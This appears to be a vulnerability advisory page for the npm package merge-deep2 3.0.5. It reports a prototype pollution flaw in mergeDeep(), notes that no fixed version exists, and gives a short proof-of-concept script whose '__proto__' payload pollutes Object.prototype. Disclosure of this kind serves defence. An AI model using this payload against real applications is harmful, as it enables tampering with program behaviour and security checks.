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merge-deep2@3.0.5 vulnerabilities

Recursively merge values in a javascript object.

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Direct Vulnerabilities

Known vulnerabilities in the merge-deep2 package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Prototype Pollution

merge-deep2 is a Recursively merge values in a javascript object.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeDeep() function.

##PoC

// Create the following PoC file:
// PoC.js
var mergeDeep2 = require("merge-deep2")

var obj = {}
var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
console.log("Before: " + {}.polluted);
mergeDeep2({}, JSON.parse(malicious_payload), true);
console.log("After : " + {}.polluted);

// End of file

// Execute the following commands in the terminal:
npm i merge-deep2 # Install affected module
node PoC.js # Run the PoC

// Check the Output:
"Before : undefined"
"After : Yes! Its Polluted"

How to fix Prototype Pollution?

There is no fixed version for merge-deep2.

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